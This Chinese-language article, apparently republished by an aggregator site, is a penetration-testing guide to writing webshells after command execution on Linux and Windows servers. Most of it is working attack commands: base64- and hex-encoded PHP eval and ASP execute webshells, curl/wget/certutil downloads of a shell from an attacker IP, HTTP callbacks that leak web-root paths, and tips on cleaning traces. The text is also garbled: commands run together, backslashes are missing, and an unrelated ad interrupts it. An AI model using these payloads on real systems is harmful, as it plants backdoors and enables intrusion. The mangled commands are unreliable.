0x01 前言
利用各类RCE远程命令执行或MSSQL注入等漏洞获取到一个能够执行命令的权限后该如何写入Webshell?这里我们根据可能会遇到的多个场景进行了一些测试,如:Linux/Windows,出/不出网、有/无回显。
一般我们在确定能够执行命令时都会选择直接上线CS/MSF,但也会遇到那种不出网、无回显的场景,这时可能就需要找到目标网站的绝对路径先写入一个Webshell,然后再进行后续的信息搜集及内网渗透等。
注:我们可以通过在网站前/后台的上传功能随便传一个文件,然后再利用Windows的for或Linux的while等命令来查找刚上传的文件,或网站下已存在的文件得到绝对路径,最后再写入文件即可,继续往下看。
0x02 Linux
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们就可以直接通过执行以下命令来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。
查找绝对路径:
代码语言:javascript代码运行次数:0运行复制
locate 1653042293000.png 2>/dev/nullfind / -name 1653042293000.png 2>/dev/nullfind / | grep 1653042293000.png 2>/dev/nullfind /var/www/html/ -name "*.php" | xargs grep "某某网站"常规方式写入:
代码语言:javascript代码运行次数:0运行复制
echo '' > /var/www/html/shell.php远程下载写入:
代码语言:javascript代码运行次数:0运行复制
curl http://192.168.1.120/shell.txt > /var/www/html/shell.phpwget http://192.168.1.120/shell.txt -O /var/www/html/shell.php(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令使用httplog方式来获取目标网站的绝对路径,然后再利用以下方式写入Webshell,需转义或有防护时可尝试编码方式写入。
查找绝对路径:
代码语言:javascript代码运行次数:0运行复制
python -m SimpleHTTPServer 8888curl http://192.168.1.120:8888/`find / | grep 1653042293000.png`wget http://192.168.1.120:8888/`find / | grep 1653042293000.png`编码方式写入:
代码语言:javascript代码运行次数:0运行复制
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.phpecho 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令先遍历出1653042293000.png文件的绝对路径,然后再次遍历该文件绝对路径,或者将Webshell写入到该文件同级目录下。
实战应用中最好是先确定目标网站的绝对路径,然后单独写入Webshell,最好不要直接使用第二条命令,因为如果目标主机上有同名文件时则会往找到的多个绝对路径下写入文件,到时还要注意清理痕迹。
查找绝对路径写入至web目录:
代码语言:javascript代码运行次数:0运行复制
find / -name 1653042293000.png | while read f;do sh -c 'find / -name 1653042293000.png' >$(dirname $f)/path.txt;done查找绝对路径写入Webshell:
BibiGPT-哔哔终结者
B站视频总结器-一键总结 音视频内容
28 查看详情
代码语言:javascript代码运行次数:0运行复制
find / -name 1653042293000.png | while read f;do sh -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;donefind / -name 1653042293000.png | while read f;do sh -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done0x03 Windows
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们可以通过执行dir、where、for、finstr等命令,或读取IIS配置文件等方式来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。
查找绝对路径:
代码语言:javascript代码运行次数:0运行复制
dir /a/b/s C:1653042293000.pngwhere /r C:1653042293000.pngfor /r "C:" %i in (1653042293000.png*) do @echo %ifindstr /n /s /i "某某网站" C:*.asp%windir%system32inetsrvappcmd list VDIR常规方式写入:
代码语言:javascript代码运行次数:0运行复制
set /p="" > C:inetpubwwwrootshell.aspecho ^ > C:inetpubwwwrootshell.aspcertutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:inetpubwwwrootshell.asp(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令在指定的C盘中循环查找1653042293000.png文件,将找到的文件绝对路径保存在%i变量,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。
查找绝对路径:
代码语言:javascript代码运行次数:0运行复制
python -m SimpleHTTPServer 8888for /r C: %i in (1653042293000.png*) do certutil -urlcache -split -f http://192.168.1.120:8888/%i常规方式写入:
代码语言:javascript代码运行次数:0运行复制
for /r C: %i in (1653042293000.png*) do echo ^ > %i/../shell.asp编码方式写入:
代码语言:javascript代码运行次数:0运行复制
for /r C: %i in (1653042293000.png*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.aspfor /r C: %i in (1653042293000.png*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令将找到的1653042293000.png文件绝对路径,或者将Webshell写入到该文件同级目录下,需转义或有防护时可尝试编码方式写入。
两条命令虽然看起来差不多,但第一条执行效率要高一些,因为在命令执行过程中就已经写入了,第二条得在命令执行完成后才会写入,所以个人推荐使用第一种,注意清理同名文件路径下的痕迹。
查找绝对路径写入至web目录:
代码语言:javascript代码运行次数:0运行复制
for /r C: %i in (1653042293000.png*) do echo %i> %i..path.txtfor /f %i in ('dir /s /b C:1653042293000.png') do echo %i> %i..path.txtforfiles /P C: /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:1653042293000.png > path.txt"查找绝对路径写入Webshell:
代码语言:javascript代码运行次数:0运行复制
for /r C: %i in (1653042293000.png*) do echo ^ > %i/../shell.aspfor /f %i in ('dir /s /b C:1653042293000.png') do echo ^ > %i/../shell.aspforfiles /P C: /S /M 1653042293000.png /C "cmd /c echo ^ > shell.asp"文末总结:
这篇文章我将找绝对路径方式分为3种:命令查找(有回显)、httplog外带(无回显)、写进Web目录(不出网),写文件方式也分为3种:常规写入、编码写入、远程下载。Linux、Windows利用方式都一样,只是命令不一样,都是根据文件名、文件内容找绝对路径,常见文件写入、下载方式进行Getshell。
以上就是命令执行之文件落地利用总结的详细内容,更多请关注php中文网其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/383142.html

微信扫一扫
支付宝扫一扫